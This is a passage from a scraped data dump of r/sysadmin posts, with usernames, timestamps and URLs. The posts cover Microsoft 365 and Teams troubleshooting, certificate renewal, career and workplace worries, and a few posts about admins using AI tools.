teacher of mine told me that around 2012 he spent hours running and redoing Ethernet cables through classroom ceilings to keep a school computer lab running XP+Novell operational. It made me realize that maintaining those old systems involved much more than just fixing software problems. For those who worked in schools or businesses, what was it like maintaining computer labs full of XP systems? Did you ever power on a machine that had been sitting unused for years and somehow get it working again? I mean I was a kid at the time and it felt so cool when the it guy came to fix our stuff.",bakarygassama,1,0,1781803390,/r/sysadmin/comments/1u9ch8q/it_techs_of_reddit_what_was_it_like_fixing/,https://www.reddit.com/r/sysadmin/comments/1u9ch8q/it_techs_of_reddit_what_was_it_like_fixing/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9cc88,sysadmin,Unser Open Source Ticketsystem OFORK hat neue Funktionen.,[removed],NegotiationOk9564,1,0,1781803084,/r/sysadmin/comments/1u9cc88/unser_open_source_ticketsystem_ofork_hat_neue/,https://www.reddit.com/r/sysadmin/comments/1u9cc88/unser_open_source_ticketsystem_ofork_hat_neue/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9btue,sysadmin,"""do not forward"" and BCC for 5000 recipients failed, why?","The business had to send out a communication via M360 exchange to its employees via BCC but selected ""do not forward"". Everyone except those managing the mailbox got the email that says: ""you don't have sufficient permissions to open the mail."" Why did it fail? Because of the BCC? The 5000 recipients? A prior communication went out to 400 people dl, marked the same way and was successful. I'm digging into Google but I haven't seen a clear explanation.",Enxer,1,0,1781801958,/r/sysadmin/comments/1u9btue/do_not_forward_and_bcc_for_5000_recipients_failed/,https://www.reddit.com/r/sysadmin/comments/1u9btue/do_not_forward_and_bcc_for_5000_recipients_failed/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9bcx6,sysadmin,Secure Boot Certificate update on Server Core not taking effect,"Trying to get this taken care on our server templates. [Using these commands](https://support.microsoft.com/en-us/topic/registry-key-updates-for-secure-boot-windows-devices-with-it-managed-updates-a7be69c9-4634-42e1-9ca1-df06f43f360d#bkmk_device_testing), Windows Server w/ Desktop Experience went no problem. Windows Server Core not so much. The reg key never changes to 0x4100. We have stopped the task, restarted the task, restarted the OS, just stays at 0x5944. Anyone else seeing this/have any idea?",MekanicalPirate,1,0,1781800913,/r/sysadmin/comments/1u9bcx6/secure_boot_certificate_update_on_server_core_not/,https://www.reddit.com/r/sysadmin/comments/1u9bcx6/secure_boot_certificate_update_on_server_core_not/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9atlt,sysadmin,Arista ETM Outage,"Hey all: In case anyone needs a sanity check, we just reached out to Arista support to confirm they're having issues with license subscriptions. We initially noticed our fleet of NGFW appliances suddenly became inaccessible via the ETM dashboard and started getting calls from customers that boiled down to issues with their VPN being down. Logging in locally on a few of the appliances revealed all the licenses appeared missing, killing VPN connections. We're in the US-west region; is anyone else seeing the behavior? ",TopGrade8023,1,0,1781799712,/r/sysadmin/comments/1u9atlt/arista_etm_outage/,https://www.reddit.com/r/sysadmin/comments/1u9atlt/arista_etm_outage/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9anct,sysadmin,Am I seriously wrong here? On a pip,"Hi all. I’ve been working at my company for almost 2 years. It’s a UK startup and honestly it was my dream job for 18 months. I am the super admin of the organisation and support developers. It was a big jump up from my pay as a level 1/2 technician and showed me that I deserve more. And that I am capable of more. Well, a month ago the performance cycle ended. I was given a standard passing grade. Anyway, I was on a work trip the following week, my £11k request for laptops and funds whilst on the trip was declined despite me putting it in a few days before. The highest request I’ve put in via spendesk before was around 5000-6000. I have never misused company funds. Put the request in on the Thursday, flew out on the Saturday. Arrived Sunday. Nothing from my manager. WhatsApp her to tell her I don’t have these funds and I’ve paid my hotel fees on my own personal credit card as I was low on funds. She replies saying organisation is on me and it’s my fault and I shouldn’t message her on a bank holiday. Request was ignored for two more days and eventually declined. Had no funds whilst abroad. Actually, I had £300 on my spendesk card. Not enough to do what I was sent there to do. Got through the trip most of the trip. Reached out to the only other person who has more powers than me, the head of XXXX. He says, what’s up? I send him the screenshots and say has anything happened financially? He advises me to put in a lower request and to split out the request for trip and laptops. Full timeline Thursday - £11,000 request for laptops Saturday - fly out to XXX and land Sunday night. Monday (Bank holiday) - event prep. Straight into office to prepare for the next day. Tuesday - 11 hours event support. After the event I confided in my colleagues about the situation. Joked that I was quitting. Not around customers or potential clients. Also, the event went well. Wednesday - I slept in 3 hours. Manager messages me first to ensure I’m okay then switches to wtf and don’t make excuses. I worked 2 basically 3 days after a transatlantic flight. Thursday - new request generated. Finally complete the other actions I was supposed to complete on the trip. Send the Head of XXX guy a message again to just ask if something happened in regards to finances in the company. No response. Friday - get a serious talking to about professional conduct. Monday - placed on a 5 reason 6 week pip. I’m currently in my third week of my pip. Yes I am interviewing. I am completing the tasks stated to the T. I’m still getting low grades on my PIP. I don’t trust anyone. I’m unhappy. Being at work is especially draining now. When before, I was genuinely happy even excited to go to work. Everything’s fucked. Bought a flat in December. I have about 3 months of runway if I get let go. I guess I just needed to get this off my chest. I’m heartbroken that my dream job is crumbling in front of my eyes like this. I can’t focus on delivering the best support possible. Now it’s all about satisfying the PIP. If you’ve ever been in a similar situation please tell me what you did. Have you been on a pip and survived? Am I just an unprofessional fucking idiot? Please don’t hold back. Whilst I appreciate support, just let me have it. From an outside perspective. May delete this later idk. I’m 26 with no certifications aside from basic Microsoft ones but I’m confident there is nothing I can’t do. ",Ayy4K,1,0,1781799335,/r/sysadmin/comments/1u9anct/am_i_seriously_wrong_here_on_a_pip/,https://www.reddit.com/r/sysadmin/comments/1u9anct/am_i_seriously_wrong_here_on_a_pip/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9al1r,sysadmin,Just got a new gig as the sole IT guy,"Hello folks, Just got hired at a small company of about 60-70 people as the sole IT person. The job was advertised as Service Desk, but with being the only IT person, there's going to be a lot of generalist IT work as well and I'll likely need to put on a manager cap every once in a while. Seems a bit of a lateral move on paper, but the pay was too good to pass up. I'm currently working as an 'IT Administrator' at my current job, and I have pretty much been functioning like a junior system admin under a true system admin. And so I'm very comfortable with the routines of weekend patching, sitting on long calls with vendors for product support, comparing and selecting IT solutions and products, and just holding all the important keys to the business. I'm used to wearing many hats and putting out fires, but this will be the first time that I'm operating completely alone as a single person department. Of course, I've got a bit of anxiety, but I'm also seeing this as a great opportunity to really stretch my legs intellectually. Reason for this post is that I want to really make the most out of this job. I've been granted a good bit of freedom, and want to make the best of it to further my career. For anyone else who has been in the same situation, what are the things you did right? What did you regret doing? Any advice on how to best hit the ground running here?",kimjongunderdog,1,0,1781799191,/r/sysadmin/comments/1u9al1r/just_got_a_new_gig_as_the_sole_it_guy/,https://www.reddit.com/r/sysadmin/comments/1u9al1r/just_got_a_new_gig_as_the_sole_it_guy/,self.sysadmin,True,1,False,Career / Job Related,arctic-shift,1781885547 1u9afv2,sysadmin,I'm a Solo IT Admin - I'm using AI to save time and effort,"I'm a solo IT admin. I manage everything at my org — helpdesk, M365, documentation, vendor calls, user emails, all of it. One person. A few months ago I started using ChatGPT and Claude for the repetitive writing work. Not for anything fancy — just the stuff that used to eat 20 minutes and now takes 30 seconds. I'm curious to know if others in similar situations are seeing the time savings by using AI in their daily work. ",Advanced_Eff27,1,0,1781798872,/r/sysadmin/comments/1u9afv2/im_a_solo_it_admin_im_using_ai_to_save_time_and/,https://www.reddit.com/r/sysadmin/comments/1u9afv2/im_a_solo_it_admin_im_using_ai_to_save_time_and/,self.sysadmin,True,1,False,ChatGPT,arctic-shift,1781885547 1u9aekc,sysadmin,Teams Crash Loop,"Apologies in advance for formatting--i am on mobile. ​ Over the last two weeks, we (MSP) have seen a drastic uptick in issues with Microsoft Teams. ​ The symptom(s): \- Users will see ""Setting up your meeting"" when trying to join a Teams meeting. We've mostly been able to resolve this by repairing the Teams meeting add-in in C:\\Users\\\[User\]\\AppData\\Local\\Microsoft\\TeamsMeetingAddInmsis. ​ \- Users experience Teams crash loops where Teams will crash and then reopen. The fix in most cases has been uninstalling and reinstalling Teams; however, in many cases the issue persists even after a fresh install. In the Event Viewer, I'm seeing an application crash event with the following information: ​ **Faulting application name**: ms-teams.exe, version: 26149.1205.4798.6437, time stamp: 0xf7576e9e **Faulting module name**: ntdll.dll, version: 10.0.26100.8246, time stamp: 0xf7576e9e **Exception Code**: 0xc0000409 ​ Are any of you seeing the same issue/symptoms? If so, have any of you been able to find a fix?",pelagius_wasntwrong,1,0,1781798787,/r/sysadmin/comments/1u9aekc/teams_crash_loop/,https://www.reddit.com/r/sysadmin/comments/1u9aekc/teams_crash_loop/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9ab88,sysadmin,I'm a solo IT Admin - Here are the AI prompts I use day to day,"I'm a solo IT admin. I manage everything at my org — helpdesk, M365, documentation, vendor calls, user emails, all of it. One person. A few months ago I started using ChatGPT and Claude for the repetitive writing work. Not for anything fancy — just the stuff that used to eat 20 minutes and now takes 30 seconds. Has anyone else started saving time with AI? ",Advanced_Eff27,1,0,1781798587,/r/sysadmin/comments/1u9ab88/im_a_solo_it_admin_here_are_the_ai_prompts_i_use/,https://www.reddit.com/r/sysadmin/comments/1u9ab88/im_a_solo_it_admin_here_are_the_ai_prompts_i_use/,self.sysadmin,True,1,False,ChatGPT,arctic-shift,1781885547 1u9a6kl,sysadmin,Managed Browser for Part Timers.,"Im gonna explain this as best as possible. We're fully cloud and all our full time employees are all managed with Intune. Im trying to make an entra group for our Part Timers that only allows them to use Edge for Business so we can manage / reduce risk of data being exposed on these unmanaged devices, we dont want to give our part timers devices because they come and go so often and they only work 1-2 hours a day for us but theres 250 part timers. Im having trouble setting this up in Conditional Access so our Part Timers only can sign into Edge. We want to disable Chrome, and other browsers for these users. I have been prompting Claude to help with this but its not been working. They will be on unmanaged devices, ive setup CA before but am struggling to get this feature to work. Any advice would be helpful if someones done this before.",Character_Flight_773,1,0,1781798300,/r/sysadmin/comments/1u9a6kl/managed_browser_for_part_timers/,https://www.reddit.com/r/sysadmin/comments/1u9a6kl/managed_browser_for_part_timers/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9a6js,sysadmin,How are small teams justifying Zendesk pricing these days?,"We've been reviewing our support tools and honestly the math on Zendesk doesn't work for small teams anymore. $55/agent/month for the base suite, and if you actually need SLA tracking or CSAT it jumps to $89/agent. For a 10 person team that's almost $900/month just for ticketing. Are small teams actually paying this or is everyone quietly using something else? What are you guys running?",hyzokaaa,1,0,1781798299,/r/sysadmin/comments/1u9a6js/how_are_small_teams_justifying_zendesk_pricing/,https://www.reddit.com/r/sysadmin/comments/1u9a6js/how_are_small_teams_justifying_zendesk_pricing/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9a5k0,sysadmin,Limbo Pool — Zero Trust Isolation Without Hardware or Agents,"I built something I thought was impossible: a way to enforce zero trust isolation natively, without hardware appliances or third‑party software. **Limbo Pool** is pure PowerShell. When a machine lands, it’s instantly dropped into an isolated zone. That event is fired straight into your SIEM, so you can trigger real‑time response playbooks. Duplicates (spoofed identities, collisions) are also caught and sent to the pool, generating another event for immediate action. No exploits, no agents, no NAC boxes — just native orchestration. It’s already live in the Microsoft Marketplace under House Inc. for anyone curious: [*https://marketplace.microsoft.com/en-us/product/saas/houseincsderl1780669331858.limbo\_pool*](https://marketplace.microsoft.com/en-us/product/saas/houseincsderl1780669331858.limbo_pool) I’d love to hear thoughts from fellow sysadmins: does this kind of “identity‑aware zero trust at the OS level” feel like the missing piece, or do you see other angles where it could evolve?",Brather_Brothersome,1,0,1781798231,/r/sysadmin/comments/1u9a5k0/limbo_pool_zero_trust_isolation_without_hardware/,https://www.reddit.com/r/sysadmin/comments/1u9a5k0/limbo_pool_zero_trust_isolation_without_hardware/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u99onz,sysadmin,Windows Event Forwarding stops working after both VMs are powered off for a few days,[removed],PlaceJealous5066,1,1,1781797154,/r/sysadmin/comments/1u99onz/windows_event_forwarding_stops_working_after_both/,https://www.reddit.com/r/sysadmin/comments/1u99onz/windows_event_forwarding_stops_working_after_both/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u99c20,sysadmin,Pay raises...how much do you need to leave?,"So I've got a conditional offer from a prospective new employer. Trying to decide if I should take. 12% raise, but my commute will be 1 hr each way vs 15 mins. New employer pay 100% medical/dental/vision vs old was 80%, and beat my current employer 401k match by 3% too. New company is much smaller than my current one, but growing fast. My current contract ends in 15 months and this new one is good for 4 years. What would you do? What does it take for you to jump ship?",ivegotmrcracker,1,0,1781796366,/r/sysadmin/comments/1u99c20/pay_raiseshow_much_do_you_need_to_leave/,https://www.reddit.com/r/sysadmin/comments/1u99c20/pay_raiseshow_much_do_you_need_to_leave/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u995am,sysadmin,YellowKey BitLocker Exploit,"Hi Guys, Did microsoft patched this vulnerability in June 2026 Patch? thanks [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585) Do we know what KB ? thanks",atcscm,1,0,1781795948,/r/sysadmin/comments/1u995am/yellowkey_bitlocker_exploit/,https://www.reddit.com/r/sysadmin/comments/1u995am/yellowkey_bitlocker_exploit/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u990po,sysadmin,Why are IT people so bitter and threatened by normal people building things now??,"Hey r/sysadmin, I want to ask a question in earnest. I'm goint to admit, Im a little frustated, but am on this sub looking to see if at least one person agrees with me. So I spent the weekend building this incredible internal tool using Claude AI (don't even start with the ""vibe coding isn't real programming"" gatekeeping, I don't want to hear it). It pulls in our quarterly revenue numbers, vendor payment records, and employee comp data from our internal systems (mostly various Workday excel report that runs nightly plus some other places) and puts it all in one clean dashboard so our team doesn't have to dig through five different spreadsheets anymore. Genuinely such a good idea, I don't know why nobody built this years ago. It's running great on localhost:8086 on my macbook pro right now. So here's why i'm frustated - today I bring it to our IT/sysadmin team because I want it hosted properly on the cloud or whatever so the whole team can access it. Should be simple right? All they have to do is take what's on my computer and put it on their servers. That's it. I even offered to just zip up the folder with the Ai code and email it to them. Guy just stares at his screen and starts asking me a million questions like ""how are you authenticating users,"" ""where are the keys for the systems stored"", ""is this connected to prod or a sandbox"", ""is there any access control at all"" Bro I don't know what any of that means and I shouldn't HAVE to know what that means, isn't that literally YOUR job?? I have AI for the parts I don't understand, why do you get to act so superior because you memorized some commands. Then he starts talking about compliance and whatever else like I just confessed to a crime. I built a tool that helps people and saves time. That's it. I genuinely think a lot of these IT people are just bitter that the rest of us can build real things now without spending 6 years getting a degree to feel special. It's giving ""I learned the hard way so nobody else should be able to do differently"" energy. My app WORKS. I tested it myself, it pulled the real numbers and everything. What more do they want, a permission slip? Anyway he said no and looped in his manager AND mine, so now I'm furious and slightly worried, but mostly furious. This is exactly why nothing ever gets done at this company. people would rather protect their little fiefdoms than let actual progress happen. Rant over. AMA I guess.",downvote_this_guy,1,0,1781795672,/r/sysadmin/comments/1u990po/why_are_it_people_so_bitter_and_threatened_by/,https://www.reddit.com/r/sysadmin/comments/1u990po/why_are_it_people_so_bitter_and_threatened_by/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u98jwj,sysadmin,2FA requirement with remote consultants,"Got a question. Our cyber insurance requires all remote access to have 2FA. Easy enough for our internal employees, but a little harder for our ERP consultant company. The issue we're dealing with, is that we can't predict who from the consultant company may need access to our system. We've set up accounts for the most regular of our consultants already but sometimes different people are assigned. Issue escalation has become hard because they are escalated to the corporate office and we don't know anyone there. Managing the one off users has been a task and sometimes the back and forth between us and consultants in different time zones introduces tons of delay in resolution. Basically, we need some easier solution that says ""Yes we trust anyone at ExtCorp"" and would prefer shared accounts to access our system. Before now, ExtCorp users have their own internal Remote Desktop Manager service. (https://devolutions.net/remote-desktop-manager/) Any of their users can log into and then they jump into one of our RDS connection using one of the 3 generic accounts we gave them.",ryanppax1,1,0,1781794635,/r/sysadmin/comments/1u98jwj/2fa_requirement_with_remote_consultants/,https://www.reddit.com/r/sysadmin/comments/1u98jwj/2fa_requirement_with_remote_consultants/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u98b4a,sysadmin,Adobe Outages,Is anyone else having issues with Adobe since yesterday? I've have several users saying they do not have the ability to edit pdf's. Either the toolbar is missing or they get an infinite spinning wheel. Any fixes? ,Zer0C00L321,1,0,1781794062,/r/sysadmin/comments/1u98b4a/adobe_outages/,https://www.reddit.com/r/sysadmin/comments/1u98b4a/adobe_outages/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u98329,sysadmin,M365 Moving from Basic Authentication - Is PowerShell really the only way to do SMTP OAUTH?,"I'm scratching my head here wondering what I'm missing. I've been tasked with moving all the applications we use away from Basic Authentication. When the application can use Graph, well it took me a little bit of time, but I understand the process now, register an app, give the appropriate API permission and then generate a client secret or ideally upload a certificate. However, it looks like a number of our vendors prefer to use SMTP AUTH with OAuth 2.0, probably because it's easier to implement into existing software. But the only way to do this is via PowerShell? I've got to say I was quite glad for Claude this afternoon. Is this really the case? Not just using AI here, I've looked and looked and can't find a way of doing this thought EAC console. Is PowerShell really the only way? ",Logical_Strain_6165,1,0,1781793536,/r/sysadmin/comments/1u98329/m365_moving_from_basic_authentication_is/,https://www.reddit.com/r/sysadmin/comments/1u98329/m365_moving_from_basic_authentication_is/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u97z1j,sysadmin,Windows Ready Print GPO setting missing?,"Looking at this: [https://techcommunity.microsoft.com/blog/partnernews/introducing-windows-ready-print-and-modernized-driver-selection/4526895](https://techcommunity.microsoft.com/blog/partnernews/introducing-windows-ready-print-and-modernized-driver-selection/4526895) We have the printing.admx file from the V2 templates for Windows 11 25H2 found here: [https://www.microsoft.com/en-my/download/details.aspx?id=108428&utm](https://www.microsoft.com/en-my/download/details.aspx?id=108428&utm) However, ""Configure Windows Ready Print driver ranking"" policy setting is not found when I go to disable it via policy. Not having much luck finding any good info on this. Anyone here already figure this out?",sccmguy,1,0,1781793279,/r/sysadmin/comments/1u97z1j/windows_ready_print_gpo_setting_missing/,https://www.reddit.com/r/sysadmin/comments/1u97z1j/windows_ready_print_gpo_setting_missing/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u97llb,sysadmin,I built an open-source tool to see if employees are leaking secrets/PII through Claude Code,"We started using Claude Code and I had no idea if people were pasting API keys,customer data, or running risky commands through it. Couldn't find a self-hosted tool for it, so I built one: PromptGuard. \- Scans every prompt/command on the device for secrets, PII, dangerous commands \- Blocks/redacts before anything leaves the laptop \- Self-hosted dashboard shows who did what (""alice pasted an AWS key → blocked"") \- Deploy to a fleet via MDM, or just \`docker compose up\` to try it \- Alerts to Slack/SIEM by setting one webhook URL \- Open source, no SaaS, nothing phones home Repo: [github.com/reddywritescode/promptguard](http://github.com/reddywritescode/promptguard) It's early — would love feedback. What would stop you from deploying this?",Competitive-Fact-563,1,0,1781792401,/r/sysadmin/comments/1u97llb/i_built_an_opensource_tool_to_see_if_employees/,https://www.reddit.com/r/sysadmin/comments/1u97llb/i_built_an_opensource_tool_to_see_if_employees/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u97kk5,sysadmin,Password managers,"In this increasing world of ""make sure your passwords are diverse"" etc. We know password managers can be hacked. Bitwarden, had a minor compromise a few months ago, LastPass got nailed a few years ago. From an enterprise perspective, are your companies recommending a specific password manager to your users? Are you telling them to keep a note in their phone's nots app? Are you going passwordless? What are you all doing?",Lifeofcriley28,1,0,1781792337,/r/sysadmin/comments/1u97kk5/password_managers/,https://www.reddit.com/r/sysadmin/comments/1u97kk5/password_managers/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9786g,sysadmin,Am I wrong for feeling like my title and responsibilities don’t match?,"I work as a Desktop Support making $55k/year in NJ. We have a small IT department and no IT Manager. Instead, IT reports into a non-technical department. One thing that has been bothering me is that everyone in the team has the exact same title regardless of experience, responsibilities, projects, or technical specialization. Over the past 14 months I’ve taken ownership of things like Intune, Apple Business Manager, file sharing servers, onboarding/offboarding processes, etc. What has me questioning things lately is that I often find myself creating the processes, documenting them, explaining them, correcting issues, and helping my colleagues understand systems that I’ve implemented. My previous job was Lead IT. To be clear, I have no problem helping. What I’m struggling with is understanding where the line is between being a colleague and effectively becoming the person responsible for guiding, correcting, documenting, and maintaining standards for the team. For example, there have been times where I’ve had to revisit completed work because it wasn’t done correctly, explain why something should be done a certain way, and create documentation so others can follow a process. A month ago, I had a performance review that focused heavily on communication and interpersonal feedback. When I asked about career progression and whether my responsibilities aligned more with a Senior or Lead position, the answer I got was that maybe one of us should have that title, but there wasn’t a clear answer as to who or why. They also pointed out that all of us should have the same level of experience and there is no reason for me to be operating at a higher level and effort, therefore it felt like they were placing the blame on my colleagues but also not acknowledging that I should be Senior? For context, I'm 30 years old and autistic, and I struggle with disclosing due to prior bad experiences. I've been told that since I am high functioning, it's not that serious. So I do my weekly therapy, I never ask for accommodations in any workplace, and try my absolute best to act normal - with home being my safe space to be myself. I thought this time would be different since this job is in an environment for special needs including autism, and I figured that people might understand me a little bit better compared to other workplaces. But I think I have been treated worse here compared to other workplaces that were in corporate. All I wanted was to fit in and be in an environment where I could belong, and it backfired on me. Anyways, if I'm expected to own major projects, design solutions, create standards, document them, and regularly help others support them, then I would expect there to be some recognition that those responsibilities are different from a standard Desktop Support role. Am I looking at all of this the wrong way? For those of you in sysadmin or management positions, at what point do responsibilities stop looking like Desktop Support and start looking like Senior Support, Lead Support, or Systems Administration?",javabeans19,1,0,1781791540,/r/sysadmin/comments/1u9786g/am_i_wrong_for_feeling_like_my_title_and/,https://www.reddit.com/r/sysadmin/comments/1u9786g/am_i_wrong_for_feeling_like_my_title_and/,self.sysadmin,True,1,False,Career / Job Related,arctic-shift,1781885547 1u977dn,sysadmin,What's the difference between CRM and help desk tools for teams? Or are you just using one platform for both at this point?,[removed],Sumaiyah-Kretschmer,1,0,1781791486,/r/sysadmin/comments/1u977dn/whats_the_difference_between_crm_and_help_desk/,https://www.reddit.com/r/sysadmin/comments/1u977dn/whats_the_difference_between_crm_and_help_desk/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u975ig,sysadmin,Is Knowbe4 being sold?,"Anyone hear any rumblings about Knowbe4 being sold? I know they were bought out back in 23, but curious if anything is currently going down? ",Otag,1,0,1781791369,/r/sysadmin/comments/1u975ig/is_knowbe4_being_sold/,https://www.reddit.com/r/sysadmin/comments/1u975ig/is_knowbe4_being_sold/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u96vyl,sysadmin,Acme client cert auto renewal but with different challenge TXT records,"I feel like I have a pretty unique situation that I have been really struggling with over the last week or so. I have been tasked with setting up cert auto renewal with the impending 45 day renewal period in a few years. I have researched ACME and have settled upon using simple-acme. I use godaddy for DNS, and I was able to successfully connect via an API key to godaddy. The tricky thing is that for this particular domain, it's both an active directory domain, as well as a public facing domain for websites. This makes it really tricky because when simple-acme querys name servers for myfakedomain . com it sees our internal DNS servers. The other half of the puzzle is that in our public DNS server for our domain, we already have an \_acme-challenge cname record for a different provider that is still currently in use (our cloud team is using it). This makes it so when simple-acme tries to reach out and create a txt record, it sees the cname record and tries to follow the dns chain to get to a root domain and try and create the txt record there... but at that point its looking at an entirely different domain. I can confirm that I can create a cert using godaddy api with a domain that is NOT an internal AD domain and that does not already have an existing acme challenge configured. So my question is how do I force simple-acme to look at godaddy as DNS servers and not internal servers, and once I get that configured, how do I go about setting up the acme challenge as to not impact the existing acme challenge that's already existing there. TLDR; need help setting up two different acme clients looking at the same public facing domain",MarkySharky25,1,0,1781790756,/r/sysadmin/comments/1u96vyl/acme_client_cert_auto_renewal_but_with_different/,https://www.reddit.com/r/sysadmin/comments/1u96vyl/acme_client_cert_auto_renewal_but_with_different/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u96u0q,sysadmin,How to handle leak with AI agents ?,[removed],New_Chicken9156,1,1,1781790626,/r/sysadmin/comments/1u96u0q/how_to_handle_leak_with_ai_agents/,https://www.reddit.com/r/sysadmin/comments/1u96u0q/how_to_handle_leak_with_ai_agents/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u96mq2,sysadmin,Anyone who has worked with IBM webmethods Hybrid Integration? I heard that its a really cool integration platform. I am evaluating,[removed],Crazy-Scallion8331,1,0,1781790125,/r/sysadmin/comments/1u96mq2/anyone_who_has_worked_with_ibm_webmethods_hybrid/,https://www.reddit.com/r/sysadmin/comments/1u96mq2/anyone_who_has_worked_with_ibm_webmethods_hybrid/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9605d,sysadmin,Hyper-V client checkpoint .avhdx files filled hard drive and crashed client,"I have a whole mess. We had a POS update last night so I ran a checkpoint on our hyper-v client before hand. The snapshot was double the size of the image file. The server was sluggish so I ran a few more checkpoints before restarts last night and this morning. Not realizing the server hard disk was about full. The hyper-v client attempted a merge and finished, but did not sort out the .avhdx files. Hard drive is full, hyper-v client stopped. I am too scared to mess with the .avhdx files, and am now stuck. Anyone have any ideas on how to sort this out?",CaseDawg,1,0,1781788572,/r/sysadmin/comments/1u9605d/hyperv_client_checkpoint_avhdx_files_filled_hard/,https://www.reddit.com/r/sysadmin/comments/1u9605d/hyperv_client_checkpoint_avhdx_files_filled_hard/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u95dj8,sysadmin,How are you anonymizing sensitive data before sharing logs or tickets?,"Does anyone have a good workflow for sharing logs, screenshots, tickets, or datasets that contain sensitive user information? We've been running into situations where data needs to be shared internally or with vendors for troubleshooting, but manually redacting names, emails, phone numbers, IP addresses, and other identifiers takes time and isn't always consistent. The challenge is that completely removing the data can make troubleshooting harder because you lose the original structure and context. I'm curious how other teams handle this. Are you relying on scripts, internal tools, commercial solutions, or just manual redaction? Have you found a method that balances privacy, compliance requirements, and usability for engineers?",Interesting_Wish9158,1,0,1781786991,/r/sysadmin/comments/1u95dj8/how_are_you_anonymizing_sensitive_data_before/,https://www.reddit.com/r/sysadmin/comments/1u95dj8/how_are_you_anonymizing_sensitive_data_before/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u94y1u,sysadmin,Adobe Update broke the ability to digitally sign documents,"Adobe Update - v.26.001.21677 breaks the ""All Tools"" section, just appears blank. As a result, cannot sign documents with a digital signature. Workaround is to disable new acrobat from the main menu within Adobe. [All Tools Pane Disappears/Empty When I Select Edit PDF? | Community](https://community.adobe.com/questions-9/all-tools-pane-disappears-empty-when-i-select-edit-pdf-1628319/index2.html)",dwausa,1,0,1781785823,/r/sysadmin/comments/1u94y1u/adobe_update_broke_the_ability_to_digitally_sign/,https://www.reddit.com/r/sysadmin/comments/1u94y1u/adobe_update_broke_the_ability_to_digitally_sign/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u94xuf,sysadmin,"Today is my last day as a Sysadmin, switching careers after nearly 30 years","I've been working as a sysadmin at a financial institution for 25+ years. Recently my institution was sold, and my position was not retained. I'm in the middle of the Midwest, and in an area where there aren't a ton of Sysadmin jobs locally. I have been spoiled being within a few minutes of work, and really didn't want to commute an hour plus to a larger city and relocating wasn't an option with aging parents, kids in school, and other commitments. I had a couple potential jobs, but nothing worked out. Before my contract ran out, I was offered a chance to stay in a different role. I'll now be working on the financial side of banking. I grew on a up farm, and still have an active role, so I'll be doing a lot of work with agriculture on that side of banking. If you're looking to get into goat farming, hit me up. I got to experience a lot, from the introduction of Internet banking, getting to be an Information Security Officer for a while, dealing with GLBA Exams and Audits, Mergers and Acquisitions, Incident Response, Cybersecurity, and a whole lot more. When I started, we still had DOS, Win 3.1, Novell, Dot Matrix Printers, Dial-up everywhere. I'll still be helping a little bit to merge and decommission our old infrastructure (which is kind of painful seeing our work of decades being put to sleep). Anyways, I'll still lurk in here under my main account to see what is going on. It has been kind of nice to not be on call 24/7.",CucumberSevere4311,1,0,1781785810,/r/sysadmin/comments/1u94xuf/today_is_my_last_day_as_a_sysadmin_switching/,https://www.reddit.com/r/sysadmin/comments/1u94xuf/today_is_my_last_day_as_a_sysadmin_switching/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u94ta0,sysadmin,Built a script to automate SQL Server backups,[removed],Due-Fishing-6119,1,1,1781785443,/r/sysadmin/comments/1u94ta0/built_a_script_to_automate_sql_server_backups/,https://www.reddit.com/r/sysadmin/comments/1u94ta0/built_a_script_to_automate_sql_server_backups/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u94qkb,sysadmin,Cannot adopt Unifi AP,[removed],DesperateAd8759,1,0,1781785235,/r/sysadmin/comments/1u94qkb/cannot_adopt_unifi_ap/,https://www.reddit.com/r/sysadmin/comments/1u94qkb/cannot_adopt_unifi_ap/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u94ckf,sysadmin,You love my life when I get to see how it,[removed],EnergyTiny1976,1,0,1781784110,/r/sysadmin/comments/1u94ckf/you_love_my_life_when_i_get_to_see_how_it/,https://www.reddit.com/r/sysadmin/comments/1u94ckf/you_love_my_life_when_i_get_to_see_how_it/,self.sysadmin,True,0.99,False,,arctic-shift,1781885547 1u93aeh,sysadmin,How do you manage your DNS?,We are currently looking for a tool for managing our DNS infastructure (multiple Servers running bind). It should support all bind features and have an API so our IPAM (netbox) can ingest records. We couldn't really find anything suitable. Is there such a tool? How do you manage your DNS and how do you automate it? ,PaulR282,1,0,1781780844,/r/sysadmin/comments/1u93aeh/how_do_you_manage_your_dns/,https://www.reddit.com/r/sysadmin/comments/1u93aeh/how_do_you_manage_your_dns/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u930qa,sysadmin,tux2lab — a KVM based virtual home lab tool for automated Linux VM provisioning and full lifecycle management,"I've had KVM based automated provisioning running in my lab for learning, testing, and experimenting with Linux-based technologies. Over time I kept refining it and eventually turned it into an open-source project for anyone with similar interests — 